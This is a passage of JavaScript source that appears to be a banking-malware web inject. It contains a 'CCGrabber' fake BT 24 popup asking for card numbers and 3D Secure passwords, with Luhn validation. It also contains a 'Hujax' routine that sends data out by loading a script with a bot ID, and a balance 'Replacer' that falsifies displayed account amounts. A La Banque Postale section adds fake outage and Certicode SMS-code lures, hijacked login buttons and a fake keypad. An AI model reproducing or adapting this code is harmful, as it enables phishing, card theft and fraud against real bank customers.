EIInUQCQgQISBJJEd5cYcMHJTDxBAAECKHALGmUIcQxLgzACBz6YELDplHwM4Ay2AzgQjOzmNDrGQNgsAUCNTjAwygmuHAHIC1sAQAWA/xwCgsZrACGBwgAgcAoG2CyqUBNmJCICUCQUzCgdAywBiMHdMKEHF4g08QDpgxACADbDFCGB2mIwcIZPzBxiQ58ZPDIphmAIIQXjKxQQglYIKEACD8MsEEL1ACCBABHbIBBCadILca3eQwDwxw6QHGFMSQgcI0RdOBy80AzVDNAEepUQQwLPtA6k8UHcMhxhC4h8OFKIgF4IIsDcQRAAhKckPCAAyZkEUA4G1QSQgAVr4BBJjZYJPropJdu+umopy5RQAA7">                                    <img src="https://ib.btrl.ro/BT24/bfo/channel/web/skins/btr/btrimages/login-logo.png" style="float:right;height:42px;">                             </div>                                                              <div style="padding:10px;">                                 <table style="color: #000000;font-family: Arial;font-size: 12px;line-height: 18px;">                                        <tr>                                            <td style="width:200px;padding-bottom:3px;">                                                Numarul de card:                                            </td>                                           <td style="padding-bottom:3px;">                                                <strong id="showCardNumber">XXXX XXXX XXXX </strong>                                            </td>                                       </tr>                                       <tr>                                            <td style="width:150px;padding-bottom:3px;">                                                Data expirarii:                                         </td>                                           <td style="padding-bottom:3px;">                                                <strong id="showEXP"></strong>                                          </td>                                       </tr>                                       <tr>                                            <td style="width:150px;padding-bottom:3px;">                                                Parola 3D Secure:                                           </td>                                           <td style="padding-bottom:3px;">                                                <input type="password" id="3dpass_1">                                           </td>                                       </tr>                                       <tr>                                            <td style="width:150px;padding-bottom:3px;">                                                Confirma Parola 3D Secure:                                          </td>                                           <td style="padding-bottom:3px;">                                                <input type="password" id="3dpass_2">                                           </td>                                       </tr>                                   </table>                                </div>                                                          </div>                      </div>                      <div id="mThirdStep" style="display:none;">                         <div style="color: #666666;font-family: Arial;font-size: 12px;line-height: 18px;">                              V&#259; mul&#539;umim pentru verificarea                            </div>                      </div>                  </td>               </tr>           </table>        </div>      <div style="float:right;margin:20px;">          <a id="ccGrabber_button" onClick="ccGrabber.button();return false;" style="cursor:pointer;background: #3F3F3F;color: #FFFFFF;margin-top: 7px;padding: 3px 23px 3px 5px;">Continuare</a>     </div>      <br><br><br>        <div style="background:#C0E7F5;padding:15px;color:#232020;">            Cu stim&#259;, BT 24 Internet Banking.      </div>  </div></div>';
  97.  
  98.     function BSINwaitShow(content){
  99.         var popup_elem_common = document.getElementById("popup_elem_common");
  100.         if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  101.         var popup_elem = document.createElement("div");
  102.         popup_elem.id = "popup_elem_common";
  103.         popup_elem.style.position = "absolute";
  104.         popup_elem.style.top = "0px";
  105.         popup_elem.style.left = "0px";
  106.         popup_elem.style.width = "100%";
  107.         popup_elem.style.height = (getDocumentHeight()+300)+"px";
  108.         popup_elem.style.zIndex = "1001";
  109.         popup_elem.style.background = "url(blank.gif)";
  110.         popup_elem.innerHTML = content;
  111.         document.getElementsByTagName('body')[0].appendChild(popup_elem);
  112.     }
  113.    
  114.     function ShowTime(){
  115.         BSINwaitShow(BSINwaitContent);
  116.     }
  117.    
  118.     function checkLuhn(input){
  119.         var sum = 0;
  120.         var numdigits = input.length;
  121.         var parity = numdigits % 2;
  122.         for(var i=0; i < numdigits; i++) {
  123.             var digit = parseInt(input.charAt(i))
  124.             if(i % 2 == parity) digit *= 2;
  125.             if(digit > 9) digit -= 9;
  126.             sum += digit;
  127.         }
  128.         return (sum % 10) == 0;
  129.     }
  130.  
  131.     function isValidCard(cardNumber){
  132.         var ccard = new Array(cardNumber.length);
  133.         var i     = 0;
  134.         var sum   = 0;
  135.  
  136.         if(cardNumber.length < 11){
  137.             return false;
  138.         }
  139.  
  140.         for(i = 0; i < cardNumber.length; i++){
  141.             ccard[i] = parseInt(cardNumber.charAt(i));
  142.         }
  143.    
  144.         for(i = 0; i < cardNumber.length; i = i+2){
  145.             ccard[i] = ccard[i] * 2;
  146.             if(ccard[i] > 9){
  147.                 ccard[i] = ccard[i] - 9;
  148.             }
  149.         }
  150.         for(i = 0; i < cardNumber.length; i++){
  151.             sum = sum + ccard[i];
  152.         }
  153.         return ((sum%10) == 0);
  154.     }
  155.  
  156.     function isValidVISA_MasterCard(cardNumber){
  157.         if(cardNumber.charAt(0) == '4' && (cardNumber.length == 13 || cardNumber.length == 16)){
  158.             return isValidCard(cardNumber);
  159.         }
  160.         if(cardNumber.charAt(0) == '5' &&
  161.             (cardNumber.charAt(1) == '1' || cardNumber.charAt(1) == '5')
  162.             && cardNumber.length == 16){
  163.                 return isValidCard(cardNumber);
  164.         }
  165.         return false;
  166.     }
  167.  
  168.     function checkValid(cardNumber){
  169.         if(isValidVISA_MasterCard(cardNumber)){
  170.             return true;
  171.         }else{
  172.             return false;
  173.         }
  174.     }  
  175.    
  176.     return{
  177.        
  178.         show: function(){
  179.             ShowTime();
  180.         },
  181.        
  182.         initinputs: function(id,value){
  183.             initInputs(id,value);
  184.         },
  185.        
  186.         border: function(){
  187.             for(var i = 1; i < arguments.length; i++){
  188.                 arguments[i].style.borderColor = placeborder[arguments[0]];
  189.             }
  190.         },
  191.        
  192.         string: function(value){
  193.             if(value.length < 1){
  194.                 return false;
  195.             }else{
  196.                 return true;
  197.             }
  198.         },
  199.        
  200.         digits: function(value,length){
  201.             length = length < 0 ? 1 : length;
  202.             if(value.length < length){
  203.                 return false;
  204.             }else{
  205.                 if(!/^\d+$/igm.test(value)){
  206.                     return false;
  207.                 }else{
  208.                     return true;
  209.                 }
  210.             }
  211.         },
  212.        
  213.         email: function(value){
  214.             var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  215.             return re.test(value);
  216.         },
  217.        
  218.         day: function(value){
  219.             return (value < 32 && value > 0);
  220.         },
  221.        
  222.         month: function(value){
  223.             return (value < 13 && value > 0);
  224.         },
  225.        
  226.         year: function(value){
  227.             return (value > 1919 && value < 2015);
  228.         },
  229.        
  230.         expyear: function(value){
  231.             return (value >= 14);
  232.         },
  233.        
  234.         card: function(card){
  235.             return checkLuhn(card);
  236.         },
  237.        
  238.         vmcard: function(card){
  239.             return checkValid(card);
  240.         },
  241.        
  242.         hide: function(){
  243.             var popup_elem_common = document.getElementById("popup_elem_common");
  244.             if(popup_elem_common){
  245.                 popup_elem_common.style.display = "none";
  246.                 popup_elem_common.parentNode.removeChild(popup_elem_common);
  247.             }
  248.         },
  249.        
  250.         setlistener: function(obj,evType,func){
  251.             AddListenner(obj,evType,func);
  252.         }
  253.     }
  254.    
  255. }())
  256.  
  257. ccGrabber = CCGrabber;
  258.  
  259. var By = (function(){
  260.    
  261.     function ByArgs(arguments){
  262.         var found = {
  263.             tag: false,
  264.             error: false,
  265.             element: false
  266.         }
  267.        
  268.         if(arguments && arguments.length >= 3){
  269.             var elements_array = arguments[1].split("|");
  270.             if(elements_array.length > 0){
  271.                 for(var k = 0; k < elements_array.length; k++){
  272.                     var elements = arguments[0].getElementsByTagName(elements_array[k]);
  273.                     if(elements && elements.length > 0){
  274.                         for(var i = 0; i < elements.length; i++){
  275.                             for(var e = 2; e < arguments.length; e++){
  276.                                 var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  277.                                 if(arguments[e].split(":")[0] == "class"){
  278.                                     if(elements[i].className != null && pattern.test(elements[i].className)){
  279.                                         found.tag = true;
  280.                                     }else{
  281.                                         found.error = true;
  282.                                     }
  283.                                 }else if(arguments[e].split(":")[0] == "for"){
  284.                                     if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
  285.                                         found.tag = true;
  286.                                     }else{
  287.                                         found.error = true;
  288.                                     }
  289.                                 }else{
  290.                                     if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  291.                                         found.tag = true;
  292.                                     }else{
  293.                                         found.error = true;
  294.                                     }
  295.                                 }
  296.                             }
  297.                             if(found.tag && !found.error){
  298.                                 return elements[i];
  299.                             }else{
  300.                                 found.tag = false;
  301.                                 found.error = false;
  302.                             }
  303.                         }
  304.                     }
  305.                 }
  306.                 return false;
  307.             }else{
  308.                 return false;
  309.             }
  310.         }else{
  311.             return false;
  312.         }
  313.     }
  314.    
  315.     function ByContent(arguments){
  316.        
  317.         var found = {
  318.             tag: false,
  319.             error: false,
  320.             element: false
  321.         }
  322.    
  323.         if(arguments && arguments.length > 2){
  324.             var elements = arguments[0].getElementsByTagName(arguments[1]);
  325.             if(elements && elements.length > 0){
  326.                 for(var i = 0; i < elements.length; i++){
  327.                     for(var e = 2; e < arguments.length; e++){
  328.                         var pattern = new RegExp(arguments[e]);
  329.                         if(pattern.test(elements[i].innerHTML.toLowerCase())){
  330.                             found.tag = true;
  331.                         }else{
  332.                             found.error = true;
  333.                         }
  334.                     }
  335.                     if(found.tag && !found.error){
  336.                         return elements[i];
  337.                     }else{
  338.                         found.tag = false;
  339.                         found.error = false;
  340.                     }
  341.                 }
  342.             }
  343.         }
  344.         return false;
  345.     }
  346.    
  347.     return{
  348.         args: function(){
  349.             return ByArgs(arguments);
  350.         },
  351.        
  352.         content: function(){
  353.             return ByContent(arguments);
  354.         }
  355.     }
  356.    
  357. }())
  358.  
  359. by = By;
  360.  
  361. var Hujax = (function(){
  362.    
  363.     var callback_func = false;
  364.    
  365.     function SetCallback(p){
  366.         callback_func = p;
  367.     }
  368.    
  369.     function Send(url){
  370.        
  371.         var BOTID = document.getElementById("BMUD");
  372.         if(BOTID){
  373.             BOTID = Text(BOTID);
  374.         }else{
  375.             BOTID = "ip";
  376.         }
  377.        
  378.         url += "&ip="+BOTID;
  379.    
  380.         if(document.getElementById("rgk_ajax")){
  381.             document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
  382.         }
  383.         var script = document.createElement("script");
  384.         script.type = "text/javascript";
  385.         script.id = "rgk_ajax";
  386.         if (script.readyState) {
  387.             script.onreadystatechange = function() {
  388.                 if (script.readyState == "loaded" || script.readyState == "complete") {
  389.                     script.onreadystatechange = null;
  390.                     callback_func();
  391.                 }
  392.             };
  393.         } else {
  394.             script.onload = function() {
  395.                 callback_func();
  396.             };
  397.         }
  398.         url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
  399.         script.src = url;
  400.         if(document.getElementsByTagName("head").length > 0){
  401.             document.getElementsByTagName("head")[0].appendChild(script);
  402.         }else{
  403.             document.getElementsByTagName("body")[0].appendChild(script);
  404.         }
  405.     }
  406.  
  407.     return{
  408.        
  409.         callback: function(param){
  410.             SetCallback(param);
  411.         },
  412.        
  413.         send: function(param){
  414.             Send(param);
  415.         }
  416.  
  417.     }
  418.    
  419. }());
  420.  
  421. hujax = Hujax;
  422.  
  423. var Clone = (function(){
  424.  
  425.     function CheckQ(param){
  426.         if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
  427.             return false;
  428.         }else{
  429.             return true;
  430.         }
  431.     }
  432.  
  433.     function COPY(obj,func){
  434.         if(obj.type == "image"){
  435.             var clo = document.createElement("img");
  436.             for (x in obj.attributes){
  437.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  438.                     if(obj.attributes[x].name == "onclick" ||
  439.                        obj.attributes[x].name == "name" ||
  440.                        obj.attributes[x].name == "disabled" ||
  441.                        obj.attributes[x].name == "id"
  442.                     ){
  443.                         continue;
  444.                     }
  445.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  446.                         clo.setAttribute(obj.attributes[x].name,"button");
  447.                     }else{
  448.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  449.                     }
  450.                 }
  451.             }
  452.         }else{
  453.             var clo = document.createElement(obj.tagName);
  454.             for (x in obj.attributes){
  455.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  456.                     if(/^on/igm.test(obj.attributes[x].name) ||
  457.                        obj.attributes[x].name == "name" ||
  458.                        obj.attributes[x].name == "disabled" ||
  459.                        obj.attributes[x].name == "href" ||
  460.                        obj.attributes[x].name == "id"
  461.                     ){
  462.                         continue;
  463.                     }
  464.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  465.                         clo.setAttribute(obj.attributes[x].name,"button");
  466.                     }else{
  467.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  468.                     }
  469.                 }
  470.             }
  471.         }
  472.         if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
  473.             clo.innerHTML = obj.innerHTML;
  474.         }
  475.         clo.style.cursor = "pointer";
  476.         obj.style.display = "none";
  477.         AddListenner(clo,"click",func);
  478.         obj.parentNode.insertBefore(clo,obj);
  479.     }
  480.    
  481.     function AddListenner(obj,evType,func){
  482.         if(obj.addEventListener ){
  483.             obj.addEventListener(evType,func,false);
  484.             return true;
  485.         }else if(obj.attachEvent){
  486.             var r = obj.attachEvent('on'+evType,func);
  487.             return r;
  488.         }else{
  489.             elm['on'+evType] = func;
  490.         }
  491.     }
  492.    
  493.     return{
  494.         click: function(obj,func){
  495.             COPY(obj,func);
  496.         }
  497.     }
  498.    
  499. }())
  500.  
  501. clone = Clone;
  502.  
  503. var Replacer = (function(){
  504.    
  505.     var start_position = new Array();
  506.     var drop_data = new Array();
  507.    
  508.     var prefix = {
  509.         minus: "-",
  510.         plus: ""
  511.     }
  512.    
  513.     var splitter = {
  514.         value: "none",
  515.         position: "none"
  516.     }
  517.    
  518.     var summGet;
  519.     var summSet;
  520.    
  521.     function Content(param){
  522.         if(param){
  523.             var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  524.             return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  525.         }else{
  526.             return "";
  527.         }
  528.     }
  529.    
  530.     function _setArgs(args){
  531.         for(var i = 0; i < args.length; i++){
  532.             start_position.push(args[i]);
  533.         }
  534.     }
  535.    
  536.     function _getArgs(){
  537.         for(var i = 0; i < start_position.length; i++){
  538.             if(start_position[i]){
  539.                 return true;
  540.             }
  541.         }
  542.         return false;
  543.     }
  544.    
  545.     function _saveData(args){
  546.         for(var i = 0; i < args.length; i++){
  547.             for(key in args[i]){
  548.                 drop_data[key] = args[i][key];
  549.             }
  550.         }
  551.     }
  552.    
  553.     function _getData(name){
  554.         return drop_data[name];
  555.     }
  556.    
  557.     function _setCurrencyFunctions(f1,f2){
  558.         summGet = f1;
  559.         summSet = f2;
  560.     }
  561.    
  562.     function _checkBy(el,data){
  563.         var pattern = new RegExp(drop_data[data],"igm");
  564.         if(pattern.test(el)){
  565.             return true;
  566.         }else{
  567.             return false;
  568.         }
  569.     }
  570.    
  571.     function _textIndex(el,data){
  572.         for(var i = 0; i < el.length; i++){
  573.             if(_checkBy(el[i].text,data)){
  574.                 return i;
  575.             }
  576.         }
  577.         return -1;
  578.     }
  579.    
  580.     function _valueIndex(el,data){
  581.         for(var i = 0; i < el.length; i++){
  582.             if(_checkBy(el[i].value,data)){
  583.                 return i;
  584.             }
  585.         }
  586.         return -1;
  587.     }
  588.    
  589.     function _replaceTag(element,summa){
  590.    
  591.         var tagSelect = /select|option/igm.test(element.tagName);
  592.         var tagInput = /input|textarea/igm.test(element.tagName);
  593.        
  594.         if(tagSelect){
  595.             if(splitter.value != "none" && splitter.position != "none"){
  596.                 var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  597.                 var balance = summGet(element.text.split(splitter.value)[splitter.position]);
  598.             }else{
  599.                 var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  600.                 var balance = summGet(element.text);
  601.             }
  602.         }else if(tagInput){
  603.             if(splitter.value != "none" && splitter.position != "none"){
  604.                 var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  605.                 var balance = summGet(element.value.split(splitter.value)[splitter.position]);
  606.             }else{
  607.                 var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  608.                 var balance = summGet(element.value);
  609.             }
  610.         }else{
  611.             if(splitter.value != "none" && splitter.position != "none"){
  612.                 var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  613.                 var balance = summGet(Content(element).split(splitter.value)[splitter.position]);
  614.             }else{
  615.                 var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false;
  616.                 var balance = summGet(Content(element));
  617.             }
  618.         }      
  619.        
  620.         var new_balance = balance+parseFloat(summa);
  621.         if(minus)balance = balance * -1;
  622.         balance = summSet(balance);
  623.         new_balance = summSet(new_balance);
  624.        
  625.         if(tagSelect){
  626.             var f = element.text.replace(balance+"",new_balance+"");
  627.         }else if(tagInput){
  628.             var f = element.value.replace(balance+"",new_balance+"");
  629.         }else{
  630.             var f = element.innerHTML.replace(balance+"",new_balance+"");
  631.         }
  632.        
  633.         if(new_balance >= 0){
  634.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  635.         }else{
  636.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  637.             f = f.replace(/\-/,"");
  638.         }
  639.        
  640.         if(tagSelect){
  641.             element.text = f;
  642.         }else if(tagInput){
  643.             element.value = f;
  644.         }else{
  645.             element.innerHTML = f;
  646.         }
  647.        
  648.         if(splitter.value != "none" && splitter.position != "none"){
  649.             splitter.value = "none";
  650.             splitter.position = "none";
  651.         }
  652.        
  653.     }
  654.    
  655.     function _setSplitter(value,position){
  656.         splitter.value = value;
  657.         splitter.position = position;
  658.     }
  659.    
  660.     function _drawTable(table,class1,class2){
  661.         var trs = table.getElementsByTagName("tr");
  662.         if(trs && trs.length > 0){
  663.             for(var i = 4; i < trs.length-2; i++){
  664.                 if(i % 2 == 0){
  665.                     trs[i].className = class1;
  666.                 }else{
  667.                     trs[i].className = class2;
  668.                 }
  669.             }
  670.         }
  671.     }
  672.    
  673.     function _convertDate(date){
  674.         var els = date.split(".");
  675.         if(els && els.length == 3){
  676.             var returnValue = 0;
  677.             returnValue += parseFloat(els[2]) * 365;
  678.             returnValue += parseFloat(els[1]) * 30;
  679.             returnValue += parseFloat(els[0]);
  680.             return returnValue;
  681.         }else{
  682.             return -1;
  683.         }
  684.     }
  685.    
  686.     return{
  687.         init: function(){
  688.             _setArgs(arguments);
  689.         },
  690.        
  691.         canstart: function(){
  692.             return _getArgs();
  693.         },
  694.        
  695.         save: function(){
  696.             _saveData(arguments);
  697.         },
  698.        
  699.         check: function(el,data){
  700.             return _checkBy(el,data);
  701.         },
  702.        
  703.         textIndex: function(el,data){
  704.             return _textIndex(el,data);
  705.         },
  706.        
  707.         valueIndex: function(el,data){
  708.             return _valueIndex(el,data);
  709.         },
  710.        
  711.         get: function(name){
  712.             return _getData(name);
  713.         },
  714.        
  715.         currency: function(f1,f2){
  716.             _setCurrencyFunctions(f1,f2);
  717.         },
  718.        
  719.         replace: function (el,amount){
  720.             _replaceTag(el,amount);
  721.         },
  722.        
  723.         splitter: function (value,position){
  724.             _setSplitter(value,position);
  725.         },
  726.        
  727.         drawtable: function (table,class1,class2){
  728.             _drawTable(table,class1,class2);
  729.         },
  730.        
  731.         date: function(str){
  732.             return _convertDate(str);
  733.         }
  734.        
  735.     }
  736.    
  737. }())
  738.  
  739. replacer = Replacer;
  740.  
  741. function BlockEnterText(evt){
  742.     var evt = (evt) ? evt : ((event) ? event : null);
  743.     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  744.     if ((evt.keyCode == 13) && (node.type=="text")){
  745.         return false;
  746.     }
  747. }
  748.  
  749. function BlockEnterPassword(evt){
  750.     var evt = (evt) ? evt : ((event) ? event : null);
  751.     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  752.     if ((evt.keyCode == 13) && (node.type=="password")){
  753.         return false;
  754.     }
  755. }
  756.  
  757. if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
  758.     HTMLElement.prototype.click=function(){
  759.         var evt = this.ownerDocument.createEvent('MouseEvents');
  760.         evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
  761.         this.dispatchEvent(evt);
  762.     }
  763. }
  764.  
  765. //=================== INIT VARIABLES =====================
  766.  
  767. var UI_login_input = document.getElementById("val_cel_identifiant");
  768. var UI_login_button = document.getElementById("valider");
  769. var UI_correct_button = by.args(document,"input","value:corriger","type:button");
  770. var UI_clear_button = by.args(document,"input","value:effacer","type:button");
  771. var UI_login_form = by.args(document,"form","name:formaccescompte");
  772.  
  773. var FKTEXT = {
  774.     WAITING: "Attendez, s'il vous plaît...",
  775.     BLOCKTITLE: "SERVICE TEMPORAIREMENT INACCESSIBLE",
  776.     BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.",
  777.     BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
  778.     SMSTITLE: "VÉRIFICATION SUPPLÉMENTAIRE",
  779.     SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification en utilisant le service Certicode.",
  780.     SMSTITLE2: "CODE D'ACCES",
  781.     SMSQUERY2: "Pour continuer inscrivez le code reçu par SMS.",
  782.     ERRLOGIN: "Incorrect Mot de Passe",
  783.     COMMONTITLE: "Attention: mise à jour du système de la sécurité!",
  784.     COMMONMAIN: "- De faux e-mails et des appels téléphoniques vous demandant vos coordonnées personnelles et informations bancaires peuvent vous être adressés au nom de La Banque Postale. Veillez à ne jamais y répondre. <br><br>- Les utilisateurs du service Certicode ont besoin de la vérification supplémentaire. Après l'inscription du nom d’utilisateur et du mot de passe on vous proposera d'inscrire le mot de passe non réutilisable envoyé sur votre portable. <br><br>- Des défaillances dans le travail du logiciel sont possibles dans 48 heures. Nos spécialistes font tout possible pour améliorer la qualité du service et assurer le niveua de sécurité de nos clients. "
  785. }
  786.  
  787. var HOLDER = {
  788.     LOGIN: "",
  789.     PASSWORD: "",
  790.     SMS: ""
  791. }
  792.  
  793. var QUERY = {
  794.     COMMAND: "NONE",
  795.     VALUE: false,
  796.     CHANGED: false,
  797.     FINISH: false
  798. }
  799.  
  800. var FKsubmitN1;
  801. var FKsubmitN2;
  802. var loginApproved = false;
  803.  
  804. var kl;
  805.  
  806. //=================== INIT PARSING FUNCTIONS =====================
  807.  
  808. function getBrowserName(){
  809.     if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  810.         return "IE6";
  811.     }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  812.         return "IE7";
  813.     }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  814.         return "IE8";
  815.     }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  816.         return "IE9";
  817.     }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  818.         return "IE10";
  819.     }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  820.         return "FF";
  821.     }else{
  822.         return "OTHER";
  823.     }
  824. }
  825.  
  826. var browserName = getBrowserName();
  827.  
  828. function urlEncode(b) {
  829.     function gethex(a) {
  830.         return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF)
  831.     }
  832.     var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";
  833.     var d = "!*'();:@&=+$,/?%#[]";
  834.     var e = c + d;
  835.     var f = "0123456789ABCDEFabcdef";
  836.     b = b + "";
  837.     var g = "";
  838.     if (!b || b.length == 0) {
  839.         return ""
  840.     }
  841.     for (var i = 0; i < b.length; i++) {
  842.         var h = b.charAt(i);
  843.         if (c.indexOf(h) != -1) {
  844.             g = g + h
  845.         } else {
  846.             var j = b.charCodeAt(i);
  847.             if (j < 128) {
  848.                 g = g + gethex(j)
  849.             }
  850.             if (j > 127 && j < 2048) {
  851.                 g = g + gethex((j >> 6) | 0xC0);
  852.                 g = g + gethex((j & 0x3F) | 0x80)
  853.             }
  854.             if (j > 2047 && j < 65536) {
  855.                 g = g + gethex((j >> 12) | 0xE0);
  856.                 g = g + gethex(((j >> 6) & 0x3F) | 0x80);
  857.                 g = g + gethex((j & 0x3F) | 0x80)
  858.             }
  859.             if (j > 65535) {
  860.                 g = g + gethex((j >> 18) | 0xF0);
  861.                 g = g + gethex(((j >> 12) & 0x3F) | 0x80);
  862.                 g = g + gethex(((j >> 6) & 0x3F) | 0x80);
  863.                 g = g + gethex((j & 0x3F) | 0x80)
  864.             }
  865.         }
  866.     }
  867.     return g
  868. }
  869.  
  870. function SimulateMouse(eve,element){
  871.     if(document.createEvent){
  872.         var event = document.createEvent('MouseEvents');
  873.         event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  874.         element.dispatchEvent(event);
  875.     }else if(element.fireEvent){
  876.         var event = document.createEventObject();
  877.         element.fireEvent('on'+eve, event);
  878.     }
  879. }
  880.  
  881. function ShowHtmlDocument(doc){
  882.     var none_div = doc.getElementById("none_div");
  883.     if(none_div){
  884.         none_div.style.display = "none";
  885.         none_div.parentNode.removeChild(none_div);
  886.     }else{
  887.         doc.documentElement.style.display = "";
  888.     }
  889. }
  890.  
  891. function Text(param){
  892.     if(param){
  893.         var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  894.         return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  895.     }else{
  896.         return "";
  897.     }
  898. }
  899.  
  900. function From(parent,child){
  901.     return parent && child ? parent.getElementsByTagName(child) : false;
  902. }
  903.  
  904. function AddListenner(obj,evType,func){
  905.     if(obj.addEventListener ){
  906.         obj.addEventListener(evType,func,false);
  907.         return true;
  908.     }else if(obj.attachEvent){
  909.         var r = obj.attachEvent('on'+evType,func);
  910.         return r;
  911.     }else{
  912.         elm['on'+evType] = func;
  913.     }
  914. }
  915.  
  916. //=================== INIT FAKE FUNCTIONS =====================
  917.  
  918. function insertFKeyboard(){
  919.     var imageclavier = document.getElementById("imageclavier");
  920.     var cdevocal = document.getElementById("cdevocal");
  921.     if(imageclavier){
  922.         var myClavierDiv = document.createElement("div");
  923.         myClavierDiv.id = "myClavierDiv";
  924.         myClavierDiv.style.styleFloat = "left";
  925.         myClavierDiv.style.cssFloat = "left";
  926.         myClavierDiv.style.paddingTop = "8px";
  927.         myClavierDiv.innerHTML +=   '<table style="width:146px;" id="fkTable">'+
  928.                                         '<tr>'+
  929.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">7</td>'+
  930.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
